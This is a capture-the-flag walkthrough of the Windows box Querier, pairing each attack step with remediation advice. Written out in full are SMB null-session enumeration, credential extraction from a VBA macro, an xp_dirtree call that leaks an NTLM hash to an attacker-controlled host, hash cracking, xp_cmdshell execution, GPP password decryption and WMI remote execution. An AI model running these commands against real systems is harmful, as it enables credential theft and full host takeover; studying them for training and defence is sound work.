← all walkthroughs

Querier

Windows· Medium· Credential Access· Privilege Escalation
owned
2026-07-08
time to own
6m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the Windows Server 2019 host QUERIER ($TARGET, domain HTB.LOCAL) and found SMB accepting unauthenticated null sessions with a publicly readable non-default share named Reports. That share held a macro-enabled Excel workbook whose VBA code contained a hardcoded SQL Server credential.

Using those credentials to log into SQL Server 2017 via Windows authentication, I abused the built-in xp_dirtree stored procedure to coerce the SQL Server service account (mssql-svc) into sending its NetNTLMv2 hash to a rogue SMB listener; cracking the hash offline produced the service account password. With the service account's SQL session, xp_cmdshell was re-enabled and used to execute OS commands, yielding the user flag.

A recursive filesystem search through xp_cmdshell located a cached Group Policy Preferences file containing an AES-encrypted local Administrator password — a password Microsoft's own published key can decrypt in seconds. Full Administrator access was then obtained via WMI remote execution, and the root flag was read from the Administrator's Desktop.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationNetwork service enumeration; SMB null-session authentication (T1135)
Mapped exposed services and confirmed SMB null-session access
A service-version scan of $TARGET revealed SMB (445), MSSQL 2017 RTM (1433), and WinRM (5985) on a Windows Server 2019 machine named QUERIER in the HTB.LOCAL domain. A null-session SMB probe confirmed that anonymous authentication was accepted without any credentials and that a non-default share called Reports was listed and accessible.
Nxc smb: signing=True, SMBv1=None, Null Auth=True; share list included ADMIN$, C$, IPC$, and Reports readable anonymously.
Exact commands 2
Service-version scan of all key ports.
nmap -sV -p 135,139,445,1433,5985,47001 $TARGET
Enumerate shares via SMB null session; confirms anonymous read on Reports.
nxc smb $TARGET -u '' -p '' --shares
FixDisable SMB null sessions and restrict share access to authenticated usersHigh
WeaknessThe SMB service accepted unauthenticated null-session connections and exposed a non-default share (Reports) anonymously, allowing an unauthorised user to browse and download sensitive documents without providing any credentials.
FixEnable the Group Policy setting 'Network access: Restrict anonymous access to Named Pipes and Shares'. Remove the Reports share from anonymous access by setting its NTFS and share-level ACL to require an authenticated user or dedicated service account. Audit all non-default shares quarterly and remove any that lack a documented business owner. As a defence-in-depth measure, place sensitive documents in a location that requires at minimum domain-user authentication.
2EnumerationSMB anonymous file retrieval (T1039)
Downloaded a macro-enabled spreadsheet from the anonymous Reports share
Anonymous SMB access to the Reports share was used to retrieve the only file present: 'Currency Volume Report.xlsm'. A macro-enabled workbook placed in an open network share is a common location for embedded automation secrets and was immediately treated as a credential-hunting target.
Smbclient -N //$TARGET/Reports listing returned Currency Volume Report.xlsm; mget pulled the file without prompting for credentials.
Exact commands 1
List and download all files from the Reports share with no authentication.
smbclient -N //$TARGET/Reports -c 'ls; prompt off; mget *'
3Credential AccessCredentials in files — embedded macro (T1552.001)
Extracted a hardcoded SQL Server password from the Excel VBA macro
The downloaded XLSM file was unpacked as a ZIP archive and its embedded VBA project binary analysed with olevba. The macro contained a plaintext connection string carrying the SQL Server account name 'reporting' and its password '[REDACTED: recovered credential]', placed there to allow the spreadsheet to query the database automatically on open.
Olevba output from xl/vbaProject.bin printed: uid=reporting;pwd=[REDACTED: recovered credential] as part of the MSSQL connection string.
Exact commands 2
Unpack the Office Open XML container to expose xl/vbaProject.bin.
unzip -q 'Currency Volume Report.xlsm' -d xlsm_extracted
Parse the VBA binary and print all macro source, including any embedded credential strings.
olevba 'Currency Volume Report.xlsm'
FixRemove hardcoded credentials from Office documents and VBA macrosCritical
WeaknessA macro-enabled spreadsheet stored the SQL Server account name and password in plaintext inside its VBA source code. Any person who could read the file could extract the credential without any technical skill beyond opening the file in a text editor.
FixAudit all Office documents in file shares using a tool such as olevba or trufflehog to find embedded credential strings. Remove any discovered secrets and rotate the affected accounts immediately. Replace hardcoded passwords with Windows Credential Manager, Azure Key Vault, or a managed secrets service accessed at runtime. Enforce a policy — and automate scanning in your file-share and CI/CD pipelines — that prevents credentials from being stored in documents or source files.
4FootholdMSSQL xp_dirtree forced NTLM authentication (T1187)
Authenticated to SQL Server and coerced the service account's NetNTLMv2 hash
The harvested credential 'reporting:[REDACTED: recovered credential]' was used to log in to SQL Server 2017 via Windows authentication using impacket-mssqlclient. Although the reporting account had only limited database permissions, the built-in xp_dirtree stored procedure was available. Pointing xp_dirtree at my own UNC path caused SQL Server to initiate an outbound SMB connection as the service account mssql-svc, delivering its NetNTLMv2 challenge-response hash to a Responder listener running on my VPN interface.
Impacket-mssqlclient with -windows-auth succeeded; Responder captured the NTLMv2 hash mssql-svc::QUERIER:<challenge>:<response> on tun0.
Exact commands 3
Start the rogue SMB/NTLM capture listener on my VPN interface; run in the background.
sudo responder -I tun0 -v
Authenticate to MSSQL using Windows auth with the macro-extracted credential.
impacket-mssqlclient "QUERIER/reporting:$PASSWORD@$TARGET" -windows-auth
Run inside the mssqlclient session; forces mssql-svc to authenticate outbound to the Responder listener. Replace $ATTACKER_IP with your tun0 address.
EXEC master..xp_dirtree "\\$ATTACKER_IP\share";
FixBlock outbound SMB from SQL Server and restrict xp_dirtree executionHigh
WeaknessSQL Server was permitted to initiate outbound SMB connections (TCP 445) to arbitrary addresses, allowing the xp_dirtree stored procedure to force the service account to authenticate to an externally controlled host and expose its NetNTLMv2 password hash for offline cracking.
FixApply a host-based firewall rule on QUERIER to block outbound TCP 445 and UDP 137–138 to addresses outside the trusted internal subnet. Revoke EXECUTE permission on xp_dirtree, xp_fileexist, and xp_subdirs for all non-sysadmin SQL logins. Assign a Group Managed Service Account (gMSA) to the SQL Server service so its password is long, random, and automatically rotated, making any captured hash computationally impractical to crack.
5Credential AccessOffline NetNTLMv2 password cracking (T1110.002)
Cracked the captured NetNTLMv2 hash to recover the service account password
Responder wrote the captured NetNTLMv2 challenge-response for mssql-svc to its log file. The full hash string was extracted and submitted to hashcat using the rockyou wordlist. The weak password '[REDACTED: recovered credential]' was cracked in seconds, providing complete credentials for the SQL Server service account that runs as a Windows user with local privileges on the host.
Hashcat -m 5600 cracked mssql-svc::QUERIER:... To [REDACTED: recovered credential]
Exact commands 2
Retrieve the full NTLMv2 hash string from Responder's log.
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-$TARGET.txt
Mode 5600 targets NetNTLMv2. Paste the full hash line from Responder into mssql-svc.hash first.
hashcat -m 5600 mssql-svc.hash /usr/share/wordlists/rockyou.txt --force
6ExecutionMSSQL xp_cmdshell OS command execution (T1059.003)
Re-enabled xp_cmdshell as mssql-svc and read the user flag
The cracked credential 'mssql-svc:[REDACTED: recovered credential]' was used to open a new MSSQL session. Unlike the low-privilege reporting account, the service account held sysadmin rights on the SQL instance, allowing it to enable the xp_cmdshell extended stored procedure via sp_configure. OS commands were then executed in the context of the mssql-svc Windows account, and the user flag was read directly from its Desktop.
Sp_configure xp_cmdshell succeeded; xp_cmdshell 'type C:\Users\mssql-svc\Desktop\user.txt' returned <user.txt>.
Exact commands 3
Re-authenticate to MSSQL as the cracked service account, which has sysadmin rights.
impacket-mssqlclient "QUERIER/mssql-svc:$PASSWORD2@$TARGET" -windows-auth
Run inside the mssqlclient session to re-enable the xp_cmdshell stored procedure.
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Read the user flag through the SQL OS-command bridge.
EXEC xp_cmdshell 'type C:\Users\mssql-svc\Desktop\user.txt';
FixDisable xp_cmdshell and lock down SQL Server extended stored proceduresCritical
WeaknessSQL Server's xp_cmdshell extended stored procedure could be re-enabled by the mssql-svc account (which held sysadmin rights), giving that account direct Windows OS command execution as the SQL Server service identity — effectively a built-in backdoor once any SQL credential is compromised.
FixDisable xp_cmdshell via sp_configure and set 'show advanced options' to 0 so it cannot be re-enabled without first flipping that flag (itself requiring the ALTER SETTINGS permission, which should be restricted to sysadmin only). Audit all extended stored procedures and CLR assemblies; revoke or drop any not required for business operations. Apply the principle of least privilege to SQL logins: the reporting account should be a data-reader only, and the service account should not be sysadmin unless operationally required.
7Privilege EscalationGroup Policy Preferences credential decryption — MS14-025 (T1552.006)
Located a cached Group Policy Preferences file containing an encrypted Administrator password
Using xp_cmdshell, a recursive directory search was run for Groups.xml files under the local Group Policy History directory. A cached GPP file was found at C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml. Reading the file revealed a Groups entry for the local Administrator account with an AES-encrypted 'cpassword' attribute. Microsoft published this AES key in 2012 (KB2962486), making the decryption trivial with the gpp-decrypt tool.
Groups.xml cpassword field decoded by gpp-decrypt to Administrator password [REDACTED: recovered credential]
Exact commands 3
Search for cached GPP credential files via the SQL OS shell.
EXEC xp_cmdshell 'dir /s /b "C:\ProgramData\Microsoft\Group Policy\History\*Groups.xml" 2^>nul';
Read the file and copy the cpassword value from the XML.
EXEC xp_cmdshell 'type "C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml"';
Decrypt using the publicly known Microsoft AES key. Replace <cpassword_value> with the base64 string from the XML attribute.
gpp-decrypt <cpassword_value>
FixPurge cached GPP credentials and deploy LAPS for local Administrator password managementCritical
WeaknessA Group Policy Preferences file stored in the local GPP History directory contained an AES-encrypted ('cpassword') local Administrator password. Microsoft published the AES decryption key in 2012 via KB2962486; anyone who can read the file — including through an OS-command channel such as xp_cmdshell — can recover the plaintext password in milliseconds.
FixImmediately delete all Groups.xml files containing cpassword attributes from both SYSVOL and any local C:\ProgramData\Microsoft\Group Policy\History paths on all machines. Rotate the local Administrator password on every affected host right away. Apply Microsoft patch MS14-025 (KB2962486) which removes the ability to set passwords via GPP entirely. Deploy Microsoft LAPS (Local Administrator Password Solution) or Windows LAPS (built into Windows Server 2019+) to generate, store, and automatically rotate a unique local Administrator password per machine, eliminating shared or static local admin passwords across the environment.
8Full CompromiseWindows Management Instrumentation remote execution (T1047)
Executed commands as local Administrator and read the root flag
The recovered Administrator password was used with impacket-wmiexec to obtain a remote command execution session over WMI on port 135. WMI was chosen because port 5985 (WinRM) was also open as an alternative, and both services accepted the Administrator credential. The root flag was read from the Administrator's Desktop, confirming complete control over the host.
Impacket-wmiexec 'QUERIER/Administrator:[REDACTED: recovered credential]' succeeded; root.txt returned <root.txt>.
Exact commands 2
Single-command WMI execution as Administrator; read the root flag.
impacket-wmiexec "QUERIER/Administrator:$PASSWORD3@$TARGET" 'cmd /c type C:\Users\Administrator\Desktop\root.txt'
Alternative: interactive WinRM session as Administrator using the open port 5985.
evil-winrm -i $TARGET -u Administrator -p '$PASSWORD3'

Exposed services

135/tcp
139/tcp
445/tcp
1433/tcp
5985/tcp
47001/tcp
49664/tcp
49665/tcp
49666/tcp
49667/tcp
49668/tcp
49669/tcp
49670/tcp
49671/tcp